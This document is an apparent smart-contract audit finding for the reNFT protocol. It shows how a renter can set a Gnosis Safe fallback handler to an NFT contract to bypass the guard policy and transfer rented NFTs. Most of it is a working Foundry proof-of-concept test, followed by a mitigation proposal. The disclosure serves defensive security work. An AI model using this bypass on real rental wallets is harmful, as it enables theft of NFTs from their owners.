reNFT - alix40's results

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L195-L294

Vulnerability details

Bug Description

In the guard policy contract, designed to act as a security measure for the safe wallet, its primary objective is to prevent renters from transferring NFTs to different addresses, effectively stopping theft. However, this guard policy has a notable oversight: it fails to restrict the use of the setFallbackHandler method on the Gnosis Safe contract. This lapse could potentially leave a loophole for unauthorized actions.

Gnosis Safe Code Proof

function setFallbackHandler(address handler) public authorized {
        internalSetFallbackHandler(handler);
    

When a Fallback handler is set, The wallet will forward any unresolved method specified in transactions to the fallback handler address. The Wallet owner can use this to run arbitrary calls using the wallet and effectively bypassing all the checks set by the guard policy on any transactions (call operations).

Gnosis Safe Code Proof

fallback() external {
        bytes32 slot = FALLBACK_HANDLER_STORAGE_SLOT;
        // solhint-disable-next-line no-inline-assembly
        assembly {
            let handler := sload(slot)
---
            //@audit the unresolved transaction would be forwarded to the address of the handler 
            let success := call(gas(), handler, 0, 0, add(calldatasize(), 20), 0, 0)
            returndatacopy(0, 0, returndatasize())
            if iszero(success) {
                revert(0, returndatasize())
            }
            return(0, returndatasize())
        }
    }
  

Impact

The vulnerability allows an attacker to run arbitrary calls on the safe wallet and bypass all the checks set in the guard policy of the protocol for call operations.

Attack Scenario

Bob wants to make a profit by acquiring an NFT from the protocol for a really low price and selling them on other marketplaces for their real price to make a profit. The attack:

• Bob simply goes on renft.io, rents an NFT (e.g. FireKitty) for a really short duration. The NFT is transferred to the safe wallet owned by him, which he deployed using the factory policy (that has the guard policy on).
• The guard policy of the protocol doesn't forbid users from setting a fallback handler on their wallet. So Bob goes and sets the address of the NFT FireKitty Contract as the fallback handler.
• Now instead of using the execTransaction to transfer the NFT to his own wallet (which will fail because of the guard policy set), Bob calls transferFrom directly on the safe wallet address. Because the wallet doesn't have any method that handles this, the fallback function of the safe wallet will forward this call to the fallback handler address (in this case: FireKitty contract address). This would result in the transfer operation succeeding. Bob can now sell FireKitty, that he stole, and make a profit (profit = NFT_real_price - amount_paid_for_rent - gas_paid ).

Proof of Concept

First add this method to src/interfaces/ISafe.sol interface. (The Safe contract has this method, it is however not specified in the interface provided in the repo)

    function setFallbackHandler(address handler) external;

Then add the PoC code to test/integrations/BypassGuardWithFallback.t.sol and execute it with forge test --match-contract BypassGuardWithFallback -vvv

pragma solidity ^0.8.20;

import {
    Order,
    FulfillmentComponent,
    Fulfillment,
    ItemType as SeaportItemType
} from "@seaport-types/lib/ConsiderationStructs.sol";
import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";

import {Errors} from "@src/libraries/Errors.sol";
import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStructs.sol";

import {BaseTest} from "@test/BaseTest.sol";
import {ProtocolAccount} from "@test/utils/Types.sol";
import {ISafe} from "@src/interfaces/ISafe.sol";

contract BypassGuardWithFallback is BaseTest {
    function test_guard_bypass_BaseOrder_ERC721() public {
        // create a BASE order
        createOrder({
            offerer: alice,
            orderType: OrderType.BASE,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the order creation
        (
            Order memory order,
            bytes32 orderHash,
            OrderMetadata memory metadata
        ) = finalizeOrder();

        // create an order fulfillment
        createOrderFulfillment({
            _fulfiller: bob,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });

        // finalize the base order fulfillment
        RentalOrder memory rentalOrder = finalizeBaseOrderFulfillment();

        // get the rental order hash
        bytes32 rentalOrderHash = create.getRentalOrderHash(rentalOrder);

        // assert that the rental order was stored
        assertEq(STORE.orders(rentalOrderHash), true);

        // assert that the token is in storage
        assertEq(STORE.isRentedOut(address(bob.safe), address(erc721s[0]), 0), true);

        // assert that the fulfiller made a payment
        assertEq(erc20s[0].balanceOf(bob.addr), uint256(9900));

        // assert that a payment was made to the escrow contract
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(100));

        // assert that a payment was synced properly in the escrow contract
        assertEq(ESCRW.balanceOf(address(erc20s[0])), uint256(100));

        // assert that the ERC721 is in the rental wallet of the fulfiller(bob)
        assertEq(erc721s[0].ownerOf(0), address(bob.safe));

        // @PoC now bob will try and steal the token from the safe

        // Make sure the guard is up and running correctly
        _checkGuardIsUp(address(erc721s[0]));

        // Next Bob needs to set a new fallback handler for the safe (the ERC721 contract address)
        _enableTokenAdressAsFallback(address(erc721s[0]));
        
        // Now that the ERC721 contract address is the fallback handler, we can call transferFrom directly on the safe
        // and bob could skip the guard checks, as the unresolved transaction would be directly forwarded to the fallback function
        //of the wallet and it will call the address of the fallback handler with the data of the transaction

        vm.prank(bob.addr);
        // Now Bob will call transferFrom on the safe, and he will be able to transfer the token to any address he wants
        // In this case, he sends the token to the 0xdeed address.
        address(bob.safe).call(
            abi.encodeWithSelector(
                erc721s[0].transferFrom.selector,
                address(bob.safe),
                address(0xdeed),
                0
            )
        );
        // Check that the owner of the NFT (FireKitty) is now the 0xdeed address 
        assertEq(erc721s[0].ownerOf(0), address(0xdeed));

    }

    function _enableTokenAdressAsFallback(address token) public {
        // create safe transaction for enabling a module
        bytes memory transaction = abi.encodeWithSelector(
            ISafe.setFallbackHandler.selector,
            address(token)
        );

        // sign the safe transaction
        bytes memory transactionSignature = SafeUtils.signTransaction(
            address(bob.safe),
            bob.privateKey,
            address(bob.safe),
            transaction
        );

        // impersonate the safe owner
        vm.prank(bob.addr);

        // Execute the transaction on Bob's safe
        SafeUtils.executeTransaction(
            address(bob.safe),
            address(bob.safe),
            transaction,
            transactionSignature
        );
    }

    function _checkGuardIsUp(address token) public {
        // create safeTransferFrom Transaction to test the guard, (the addresses are not important)
        bytes memory transaction = abi.encodeWithSelector(
            bytes4(keccak256("safeTransferFrom(address,address,uint256)")),
            address(0x15),
            address(0x15),
            0
        );

        // sign the safe transaction
        bytes memory transactionSignature = SafeUtils.signTransaction(
            address(bob.safe),
            bob.privateKey,
            address(token),
            transaction
        );

        // impersonate the safe owner
        vm.prank(bob.addr);
        // We expect the transaction to revert, with an error from the guard policy
        vm.expectRevert(
            abi.encodeWithSelector(
                Errors.GuardPolicy_UnauthorizedSelector.selector,
                bytes4(keccak256("safeTransferFrom(address,address,uint256)"))
            )
        );
        // Try executing safeTransferFrom directly on the safe
        SafeUtils.executeTransaction(
            address(bob.safe),
            token,
            transaction,
            transactionSignature
        );


    }
}

Tools Used

Manual Review and Foundry to write the PoC

Recommended Mitigation Steps

To address this vulnerability, it is recommended to implement a mitigation strategy in the guard policy. This can be achieved by adding a check that specifically targets the setFallbackHandler() method selector in the method _checkTransaction() of the guard policy. There are two possible approaches to mitigate this issue:

1. Block the use of the setFallbackHandler method completely, preventing users from setting their own fallback handler addresses.
2. Allow users to select from a predefined list of whitelisted fallback handler addresses, ensuring that only trusted addresses can be used.

Implementing either of these approaches will help prevent the bypassing of checks set by the guard policy and enhance the overall security of the protocol.

++ } elseif (selector == gnosis_safe_setFallbackhandler_selector){
++
++    // either allow user to set the fallbackHandler from a list of
++    //whitlisted Fallbackhandlers or block the use of the method completly  
} else {
 

Assessed type

Invalid Validation